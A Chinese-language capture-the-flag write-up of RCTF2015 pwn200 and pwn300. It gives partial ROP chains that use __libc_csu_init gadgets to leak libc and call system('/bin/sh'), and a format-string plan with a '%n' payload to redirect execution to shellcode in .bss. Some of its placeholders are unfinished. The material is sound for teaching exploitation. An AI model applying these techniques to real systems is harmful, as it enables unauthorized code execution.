RCTF2015 pwn试题分析

pwn200

漏洞给的很明显，先是读到了main的局部数组中，然后在子函数中向子函数的局部数组栈里复制。

总体思路是leak system的地址，然后再向一个固定地址写入/bin/sh，最后执行system函数

leak使用pwn库的DynELF实现，整体使用rop链。

//ida伪代码
int __fastcall echo(__int64 a1)
{
  char s2[16]; // [sp+10h] [bp-10h]@2

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

这里是把数据复制过来，但是他的判断条件是byte!='\x00'，就是说如果有'\x00'就会停止复制。

这个就很蛋疼，因为肯定会有00啊。00这个是无法避免的。

先说一下，这道题是x64环境+nx保护。就是说可以用通用gadget来实现rop的。

如果不考虑那个截断的事情的话exp是这样的，

exp='A'*24

exp+=p64(0x40089A) # __libc_csu_init中的通用gadget，pop6ret

exp+=p64(0) #令pop rbx为0，使得call正确执行

exp+=p64(1) #令pop rbp为1，为了cmp比较能得到相等的结果

exp+=p64(write@got) #pop r12 这个决定了之后call的内容，为啥用got表，因为plt里面是指令啊，不能取的。

exp+=p64(8) #pop r13 3号参数了

exp+=p64(leak adress)#pop r14 2号参数了

exp+=p64(1)#pop r15 1号参数了　　　　

exp+=p64(0x0400880)#这个就跳去执行call了

exp+='A' * 56 #这是共抬了56个字节的栈

exp+=p64(0x4007cd) #从头开始了

 

上面那个就是正常的利用__libc_csu_init的通用跳板进行rop的方法。我们看一下这样行不行？明显不行会断在exp+=p64(0)这里。但是由于main栈里也有，就再构造一个pop4ret去读main的栈了。

这样就可以成功的不受'\x00'限制了。不过我觉得这个应该是设计的比较好，因为如果距离不是32字节是96字节怎么办？不会有pop12ret吧？

 

接下来的任务就是构造rop链，实现写入/bin/sh和执行sysem了，这时假设我们已经leak出system的地址了。

 

exp='A'*24

exp+=p64(0x40089A) # __libc_csu_init中的通用gadget，pop6ret

exp+=p64(0) #令pop rbx为0，使得call正确执行

exp+=p64(1) #令pop rbp为1，为了cmp比较能得到相等的结果

exp+=p64(system) #pop r12 这个决定了之后call的内容，为啥用got表，因为plt里面是指令啊，不能取的。

exp+=p64(8) #pop r13 3号参数了

exp+=p64(save adress)#pop r14 2号参数了

exp+=p64(1)#pop r15 1号参数了　　　　

exp+=p64(0x0400880)#这个就跳去执行call了

exp+='A' * 56 #这是共抬了56个字节的栈

exp+=p64(0x4007cd)# 可见套路都是一样的

 

注意要把leak 出来的system写到一个可知的地址才可以使用。

最后再来一遍

 

exp='A'*24

exp+=p64(0x40089A) # __libc_csu_init中的通用gadget，pop6ret

exp+=p64(0) #令pop rbx为0，使得call正确执行

exp+=p64(1) #令pop rbp为1，为了cmp比较能得到相等的结果

exp+=p64(save adress) #pop r12 这个决定了之后call的内容，为啥用got表，因为plt里面是指令啊，不能取的。

exp+=p64(0) #pop r13 3号参数了

exp+=p64(0)#pop r14 2号参数了

exp+=p64(save adress+8)#pop r15 1号参数了　　　　

exp+=p64(0x0400880)#这个就跳去执行call了

exp+='A' * 56 #这是共抬了56个字节的栈

exp+=p64(0x4007cd)# 可见套路都是一样的

 下面来实际的调试一下，用gdb加载程序，在0x400750处下断点，这是复制的指令，在这里可以看到复制在栈中的起点，不要相信IDA的栈结构那个是不准的，得自己调试来看。

由图可知要3*8=24byte。再来确定下main函数的buf的位置距离这里有多远。发现其实就在紧接着栈顶的地方。那么我们就要构造rop去生成一个leak函数了。首先找一下可以使用的rop指令

由图就可以看出来，其实能用的只有0x40089A这么一个地方。x64参数不是用栈传的而是用寄存器传的，那么就该用我们上面说的所谓的gadgets了。http://www.cnblogs.com/Ox9A82/p/5487725.html 这里写了如何使用，上面也描述了，我们直接上。

'A'*24+

p64(POP4RET)+ #为了跳过上面那24个A+这个本身

P64(gad1)+ #0x40089A

p64(0)+

p64(1)+

p64(puts)+

p64(0)+

p64(0)+

p64(address)+

p64(gad2)+ #0x400880

'A'*56+

p64(main)

pwn300

这是个格式化字符串的题。但是，不是常见的那种格式化字符串漏洞。首先，格式化字符串是存在堆里的，没有办法直接去读格式化串。其次，每次触发格式化函数都执行了一次，没有办法在栈里构造跳板。

但是也有优点，就是会往一个bss段里读入数据，如果是想构造/bin/sh还是很方便的。

由于不能读到格式化串，所以就无法实现任意地址写入。

这是执行到触发格式化字符串漏洞的函数时的完整栈帧情况。

可见，这时栈里没有什么搞头。如果可以连续执行两次漏洞函数，那么就可以利用0xbffff44c这个值在栈里构造跳板，但是这里只能执行一次栈帧就释放了，不可能构造跳板。

然后，我就不知道怎么做了= =

看了一波六星的writeup，他是这么写的

上图是复旦六星的writeup。

它的意思是还是要在栈上构造一个跳板。但是这需要在此函数中有两次调用漏洞函数的机会。

这是怎么回事呢？我先理一理，这个程序用push ret写法搞的很讨厌，因为F5后不能清晰的看到流程，搞的很乱。

理一下程序流程：

1. 循环：获取输入（到.bss:0804A0A0 ; char s[2048]）
2. 循环：进行解码
3. 循环：解密结果输出到bss段（.bss:0804A8A0 ; char byte_804A8A0[2048]）
4. 循环：进行解码
5. 循环：触发漏洞函数
6. 循环：输出bss段的结果

可见bss段适合放一些/bin/sh这类的乱七八糟的东西。

但是怎么劫持eip呢?这么一看还真是在栈中构造跳板，我之前说只调用一次栈帧就释放了。居然没想到利用main函数的栈帧。。。。

这就十分尴尬了。但是还有问题就是栈的位置怎么确定？leak是可以看到的栈的位置的但是感觉太麻烦。但是。。。。好像也只能leak了啊~

因为要写地址进去的，不获取栈的准确地址是不可能的。而且这不是缓冲区溢出那种漏洞可以构造rop链的，就是说既使我控制了eip也不能够实现控制参数，那索性就直接把shellcode写入bss段中了，（注意，这道题没有NX保护，故可以在bss段里执行shellcode）

直接蹦过去执行算了。

那么思路就是：

1.构造leak栈地址的格式化符，发送过去

2.在main函数的栈帧用接收的leak地址构造跳板

3.把shellcode做base64加密传进去，使shellcode存在于bss段中

4.最后构造使用跳板的格式化串，修改返回地址到bss段的shellcode中。

 

这样有一个问题就是shellcode会被盖住一部分，我想只要错开一个偏移应该就可以了吧。

最蛋疼的是六星居然没有放exp出来，网上也搜不到这道题的exp，为了验证自己的想法只好自己写了。

以下是详细的解题过程，首先看下call    _snprintf时栈的情况，如下图所示。我们要做的就是先向红圈地址写入0xbffff0c8。作为跳板来改变返回地址。

那这里使用的就是"%134520872x%20$n"，根据程序设定进行base64后是。

这里写一些welpwn的exp编写过程，首先考虑的是跳到主函数的栈祯中执行。在IDA中搜索pop指令，找到如下一处位置

.text:000000000040089A                 pop     rbx
.text:000000000040089B                 pop     rbp
.text:000000000040089C                 pop     r12
.text:000000000040089E                 pop     r13
.text:00000000004008A0                 pop     r14
.text:00000000004008A2                 pop     r15
.text:00000000004008A4                 retn

对.text:00000000004007CC                 retn下断点，看下返回时堆栈距离main有多远。